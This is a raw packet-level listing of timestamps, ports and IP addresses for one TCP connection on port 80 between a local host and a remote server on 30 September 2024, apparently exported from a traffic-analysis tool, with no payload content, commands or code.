Sep 30, 2024 13:59:22.808804035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808815002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808831930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808840036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808855057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.808881044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.808896065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813442945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813457012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813471079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813496113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813494921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813509941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813524008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813524961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813545942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813566923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813575983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813580036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813595057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813606977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813616037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813622952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813644886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813644886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813658953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813661098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813676119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813678026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813688993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813697100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813714027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813730001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813899040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813944101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.813976049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.813990116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814004898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814018965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814030886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814043045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814045906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814069033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814073086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814086914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814088106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814101934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814111948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814115047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814127922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814129114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814142942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814157009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814160109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814169884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814183950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814187050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814212084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814213037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814228058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814232111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814241886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814248085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814256907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814264059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814276934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814280987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814296007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814300060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814317942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814317942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814333916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814337015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814347982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814356089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814363003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.814373970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814389944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.814408064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.881494999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881525040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881540060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881553888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881566048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.881567955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881582022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881597996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881599903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.881616116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.881620884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.881637096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.881663084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883558035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883574009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883589029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883615017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883624077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883631945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883646965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883655071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883671999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883676052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883688927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883698940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883702993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883714914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883718014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883733034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883733988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883749962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883752108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883759022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883764982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.883765936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.883809090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887371063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887423992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887428045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887465954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887515068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887554884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887578964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887593985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887617111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887635946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887671947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887686014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887701035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887707949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887716055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887728930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887731075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887746096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887748003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887758970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887778044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887808084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887818098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887833118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887847900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887856960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887861013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.887871027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887891054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.887907028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894772053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894787073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894802094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894834995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894862890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894864082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894877911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894892931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894901991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894906998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894934893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894937992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894948006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894962072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894963980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.894977093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.894995928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.895024061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.895030975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.895045042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.895060062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.895068884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.895073891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.895082951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.895097971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.895118952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896094084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896138906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896150112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896166086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896172047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896181107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896203041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896214962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896300077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896320105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896336079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896337032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896348953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.896357059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896374941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.896390915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897514105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897551060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897566080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897571087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897591114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897609949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897646904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897660971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897675991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897682905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897691011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897703886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.897707939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897727966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.897759914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899523020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899573088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899590015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899605036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899629116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899655104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899765015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899780035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899792910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899806976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899808884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899821043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899830103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899861097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899887085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899899006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899900913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899915934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899930954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899938107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899950027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.899951935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899966955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.899996042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904496908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904511929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904525995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904540062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904542923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904556036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904567003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904575109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904582024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904603004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904647112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904675007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904676914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904692888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904707909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904714108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904721975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904736996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904740095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904767036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904772043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904786110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904800892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904808998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904839039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904863119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904876947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904891014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904902935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904917002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904917002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904932022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904937029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904949903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904963970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.904978991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.904999971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905015945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905016899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905036926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905050039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905061007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905083895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905097008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905097008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905111074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905121088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905124903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905139923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905139923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905152082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905174971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905191898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905221939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905236006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905250072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905261993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905278921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905289888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905333042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905345917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905369997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905378103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905381918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.905402899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.905426979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.972470045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972487926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972517014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972531080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972547054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972563028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972579002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.972596884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.972647905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974184036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974215031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974229097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974247932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974281073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974293947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974335909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974340916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974355936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974381924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974404097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974411964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974426031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974440098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974447966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974459887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974467993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974483967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974493027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974498034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974504948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974514008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974525928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974544048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974555969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974571943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974585056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.974608898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.974622011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.978455067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978468895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.978526115 CEST	49721	80	192.168.2.6	5.42.101.62
